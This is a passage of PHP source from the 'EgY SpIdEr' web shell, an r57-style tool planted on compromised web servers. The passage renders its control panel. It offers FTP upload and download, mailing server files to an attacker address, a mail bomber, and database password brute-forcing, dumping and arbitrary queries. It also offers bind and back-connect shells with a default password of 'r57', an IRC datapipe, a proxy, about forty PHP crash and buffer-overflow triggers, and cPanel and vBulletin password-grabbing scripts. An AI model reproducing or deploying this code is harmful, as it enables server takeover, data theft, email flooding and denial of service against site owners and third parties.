6260echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
6261echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
6262echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
6263echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
6264echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
6265echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
6266
6267
6268echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6269echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
6270echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
6271echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
6272echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
6273echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
6274echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
6275echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
6276echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
6277
6278
6279echo $te."</td>".$fe."</tr></div></table>";
6280}
6281
6282
6283
6284
6285{
6286echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6287echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
6288echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
6289echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
6290echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
6291echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
6292echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
6293
6294
6295echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6296echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
6297echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
6298echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
6299echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell"))));
6300echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
6301echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
6302echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
6303
6304
6305echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6306echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
6307echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
6308echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
6309echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
6310echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
6311echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
6312echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
6313
6314
6315echo $te."</td>".$fe."</tr></div></table>";
6316}
6317
6318
6319
6320
6321{
6322$select = '<select name=db>';
6323if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
6324if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
6325if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
6326if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
6327if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
6328if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
6329if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
6330$select .= '</select>';
6331
6332
6333echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6334echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
6335
6336
6337echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
6338echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
6339echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
6340echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
6341echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
6342echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
6343echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
6344echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
6345echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
6346
6347
6348echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6349echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
6350
6351
6352echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
6353echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
6354echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
6355echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
6356echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
6357echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
6358
6359
6360echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6361echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
6362
6363
6364echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
6365echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
6366echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
6367echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
6368echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
6369echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
6370
6371
6372echo "</td>".$fe."</tr></div></table>";
6373}
6374
6375
6376
6377
6378{
6379echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
6380echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
6381echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
6382echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
6383echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
6384echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
6385echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
6386echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
6387echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
6388echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
6389echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
6390echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
6391echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
6392echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
6393echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
6394echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
6395echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
6396echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
6397echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
6398echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
6399echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
6400echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
6401echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
6402echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
6403echo $te."</td>".$fe."</tr></div></table>";
6404}
6405echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
6406echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
6407echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
6408echo $te."</td>".$fe."</tr></div></table>";
6409
6410
6411echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
6412echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6413echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
6414echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
6415echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
6416echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
6417echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
6418echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
6419echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
6420echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
6421echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
6422echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
6423echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
6424echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
6425echo $te."</td><td valign=top width=25%>".$ts;
6426echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6427echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
6428echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
6429echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
6430echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
6431echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
6432echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
6433echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
6434echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
6435echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
6436echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
6437echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
6438echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
6439echo $te."</td><td valign=top width=25%>".$ts;
6440echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6441echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
6442echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
6443echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
6444echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
6445echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
6446echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
6447echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
6448echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
6449echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
6450echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
6451echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
6452echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
6453echo $te."</td><td valign=top width=25%>".$ts;
6454echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
6455echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
6456echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
6457echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe);
6458echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe);
6459/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
6460echo $te."</td></tr></div></table>";
6461echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts;
6462echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
6463echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6464echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
6465echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6466echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text228']."</div></b></font>";
6467echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6468echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text230']."</div></b></font>";
6469echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
6470echo $te.'</div>'.$table_end1.$fe;
6471{
6472
6473
6474
6475
6476
6477
6478echo $te."</td>".$fe."</tr></div></table>";
6479}
6480
6481
6482echo $te."</td></tr></div></table>";
6483echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ EgY_SpIdEr | </a> | <a egy_spider@hotmail.com>egy_spider@hotmail.com</a> developer by EgY SpIdEr ]---o</b></font></div></td></tr></table>";
6484echo '</body></html>';
6485?>